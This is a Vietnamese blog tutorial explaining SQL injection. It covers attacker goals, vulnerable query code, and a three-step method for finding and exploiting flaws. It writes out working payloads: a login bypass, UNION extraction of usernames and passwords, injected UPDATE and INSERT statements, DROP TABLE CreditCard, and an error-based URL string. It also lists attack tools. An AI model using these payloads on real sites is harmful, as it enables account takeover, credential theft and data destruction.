Top Ad unit 728 × 90

SQL Injection là gì?

Phần 1: KHÁI NIỆM, MỤC TIÊU VÀ CƠ CHẾ


1. Khái niệm

SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp.

SQL injection có thể cho phép những kẻ tấn công thực hiện các thao tác delete, insert, update… trái phép trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy.

SQL injection là lỗ hổng thường gặp nhất của các website trên internet. Nó là lỗi của các ứng dụng web chứ không phải vấn đề ở cơ sở dữ liệu hay web server. Hầu hết các lập trình viên đều kém trong vấn đề phòng chống SQL injection.

2. Mục tiêu

Mục đích chính của SQL injection là truy cập vào cơ sở dữ liệu bất hợp pháp hoặc khai thác thông tin từ các cơ sở dữ liệu đó.

Dựa trên cách sử dụng và xử lý dữ liệu người dùng cung cấp, SQL injection có thể được sử dụng để thực hiện các kiểu tấn công sau:

  • Authentication Bypass: hacker có thể đăng nhập vào ứng dụng mà không cần cung cấp username và password, thậm chí có thể chiếm quyền quản trị.
  • Information Disclosure: người tấn công lấy các thông tin nhạy cảm được lưu giữ trên cơ sở dữ liệu.
  • Compromised Data Integrity: thực hiện deface trang web, chèn nội dung độc hại lên trang web, hoặc thay đổi nội dung cơ sở dữ liệu.
  • Compromised Availability of Data: người tấn công xóa thông tin trên cơ sở dữ liệu, xóa log, hoặc thông tin kiểm chứng trên cơ sở dữ liệu.
  • Remote Code Execution: cho phép người tấn công làm hại hệ thống của host.


3. Cơ chế:

Cơ chế hoạt động của một website

Mục tiêu tấn công của SQL injection chính là các lỗ hổng trong web application chứ không phải bản thân cơ sở dữ liệu. Thông qua việc khai thác lỗi của web application, người tấn công có thể tiếp cận cơ sở dữ liệu và khai thác/phá hủy dữ liệu trên đó. Các ứng dụng này bị lỗi là do trong quá trình phát triển đã không tuân theo các quy chuẩn về code bảo mật và việc xử lý dữ liệu lưu trữ trong các cơ sở dữ liệu quan hệ (relational database). Tất cả các cơ sở dữ liệu quan hệ (SQL Server, Oracle, IBM DBZ và MySQL) đều có thể bị tấn công bởi kiểu tấn công này.


Phần 2: NGỮ CẢNH VÀ MỤC ĐÍCH ĐẠT ĐƯỢC KHI TẤN CÔNG


Phần trước bạn đã hiểu qua các khái niệm cơ bản của SQL Injection. Ngoài ra bạn có thể xem thêm các bài viết cùng chủ đề trong blog để biết thêm về SQL Injection. Bài tiếp theo của loạt bài này, chúng ta cùng điểm qua một vài cách khai thác lỗi cơ bản.

a. Vượt qua kiểm tra đăng nhập:


Sau khi người dùng nhập username, password và click nút submit, username và password này sẽ được gửi đến ứng dụng và xử lý chúng. Một câu truy vấn SQL sẽ được tạo ra và lấy các hàng khớp với thông tin người dùng cung cấp. Người dùng lúc đó sẽ được chứng thực và chuyển đến trang yêu cầu.

Tuy nhiên, nếu không được kiểm tra kỹ sẽ dễ bị lỗi SQL injection. Ví dụ đoạn code sau đâu bị lỗi SQL injection:

string strQry = “SELECT Count(*) FROM Users WHERE Username='” + txtUser.Text + “‘ AND Password ='” + txtPassword.Text + “‘”;

Nếu người dùng đăng nhập bình thường, ví dụ như trong hình, username là ‘Jason’ và password là ‘Springfield’. Khi đó ứng dụng sẽ thực hiện câu truy vấn:

SELECT Count(*) FROM Users WHERE Username = ‘Jason’ AND Password = ‘Springfield’.

Tuy nhiên, nếu đăng nhập với username và Password như sau:





Lúc này, câu truy vấn sẽ được thực hiện như sau:

SELECT Count(*) FROM Users WHERE Username = ‘Blah’ OR 1 = 1 — AND Password = ‘Springfield’. Chú ý rằng sau dấu – là comment. Nghĩa là câu truy vấn thật sự là SELECT Count(*) FROM Users WHERE Username = ‘Blah’ OR 1 = 1.

Như vậy là người tấn công sẽ vượt qua phần kiểm tra đăng nhập.

b. Hiển thị bảng username và password


Các website thường có ô tìm kiếm để người dùng dễ dàng tìm dữ liệu. Tuy nhiên, nếu ô tìm kiếm này không được kiểm tra kỹ sẽ dễ tạo lỗ hổng để hacker tấn công.

Ví dụ đoạn code sau có lỗ hổng:

strSQL = “SELECT ProductID, ProductName, QuantityPerUnit, UnitPrice FROM Products”;
if (txtFilter.Text .Length > 1) { strSQL += “ WHERE ProductName LIKE ‘” + txt.Filter.Text + ‘”;}
Nếu giá trị của ô tìm kiếm được nhập vào là blah’ UNION Select 0, username, password 0 from users 
–. Câu lệnh truy vấn lúc đó là:

SELECT ProductID, ProductName, QuantityPerUnit, UnitPrice FROM Products WHERE ProductName LIKE ‘blah’ UNION SELECT 0, username, password 0 FROM USERS

– Toán tử UNION cho phép ghép kết quả 2 câu lệnh SELECT lại, với điều kiện 2 câu lệnh này phải có cùng số cột.

Kết quả: Username và password bị hiển thị ra.


c. Update table


Chuỗi tấn công:

blah’; UPDATE jb-customers SET jb-email = ‘info@juggyboy.com’ WHERE email =’jason@springfield.com;

–Câu lệnh SQL truy vấn lúc đó là:

SELECT jb-email, jb-passwd, ib-login_id, jb-last_name FROM members WHERE jb-email = ‘blah’; UPDATE jb-customers SET jb-email = ‘info@juggyboy.com’ WHERE email =’jason@springfield.com;

–d. Thêm record


Chuỗi tấn công:

blah’; INSERT INTO jb-customers (‘jb-email’,’jb-passwd’,’jb-login_id’,’jb-last_name’) VALUES (‘jason@springfield.com’,’hello’,’jason’,’jason springfield’);

–Câu lệnh SQL truy vấn lúc đó là:

SELECT jb-email, jb-passwd, ib-login_id, jb-last_name FROM members WHERE jb-email = ‘blah’; INSERT INTO jb-customers (‘jb-email’,’jb-passwd’,’jb-login_id’,’jb-last_name’) VALUES (‘jason@springfield.com’,’hello’,’jason’,’jason springfield’);–

e. Xác định tên bảng

Chuỗi tấn công:

blah’ AND 1 = (SELECT COUNT(*) FROM mytable); 

–Câu lệnh SQL truy vấn lúc đó là:

SELECT jb-email, jb-passwd, ib-login_id, jb-last_name FROM members WHERE jb-email = ‘blah’ AND 1 = (SELECT COUNT(*) FROM mytable); 

–f. Xóa bảng

Chuỗi tấn công:

blah’; DROP TABLE CreditCard; 

–Câu lệnh SQL truy vấn lúc đó là:

SELECT jb-email, jb-passwd, ib-login_id, jb-last_name FROM members WHERE jb-email = ‘blah’; DROP TABLE CreditCard; –

PHẦN 3: TRIỂN KHAI TẤN CÔNG


Để triển khai một cuộc tấn công SQL Injection, thông thường bạn sẽ thực hiện theo 3 bước cơ bản sau đây:

Bước 1: Xác định trang web có lỗi SQL injection không?
Bước 2: Từ tỗi tìm được, chọn loại tấn công phù hợp.
Bước 3: Triển khai tấn công.

1. Tìm lỗi SQL injection

Bước 1: Kiểm tra xem ứng dụng web có kết nối đến server cơ sở dữ liệu để lấy thông tin không?
Bước 2: Liệt kê ra tất cả các input field, field ẩn và các post request có thể chứa giá trị dùng cho truy vấn SQL.
Bước 3: Thử inject code vào các field trên để tạo ra lỗi.
Bước 4: Thử nhập vào một gía trị chuỗi vào các input field yêu cầu nhập số.
Bước 5: Sử dụng toán tử UNION trong các SQL injection để kết một câu truy vấn vào câu truy vấn có sẵn.
Bước 6: Sử dụng thông tin từ các báo lỗi ở trên để phục vụ cho việc triển khai tấn công.

2. Các loại hình tấn công của SQL injection


a. Simple SQL injection:

UNION SQL injection: sử dụng toán tử UNION để join 2 truy vấn với nhau.
Error Based SQL injection: khai thác các lỗi cú pháp để trích xuất một số thông tin.

VD:

http://juggyboy.com/page.aspx?id=1 or 1=convert(int,(DB_NAME)

– sẽ lấy được thông tên database.

b. Blind SQL injection:

Kỹ thuật này được dùng khi website bị mắc lỗi SQL injection nhưng đã bị che dấu. Blind SQL injection chỉ khác Simple SQL injection ở chỗ thay vì người tấn công có thể thấy được một số thông tin có ích thì họ chỉ thấy một trang báo lỗi chung.


Kỹ thuật này đòi hỏi người tấn công phải có nhiều kinh nghiệm.

3. Các công cụ hỗ trợ SQL injection:


  • BSQLHacker: công cụ tự động hỗ trợ Blind SQL injection, Time-Base Blind SQL injection, Deep Blind SQL injection, Error Based SQL injection.
  • Marathon Tool: có khả năng gửi nhiều câu truy vấn “nặng” để thực hiện tấn công kiểu Time-Base SQL injection.
Ngoài ra còn có SQL Power Injector, Havij, SQL Brute, BobCat, SQLninja, SQLmap,…
SQL Injection là gì? Reviewed by Unknown on tháng 1 12, 2018 Rating: 5

Không có nhận xét nào:

All Rights Reserved by Thư Viện Wiki © 2017
Edit bởi: Star Tuấn | Chia sẻ bởi: Blogspot VN

Biểu mẫu liên hệ

Tên

Email *

Thông báo *

Được tạo bởi Blogger.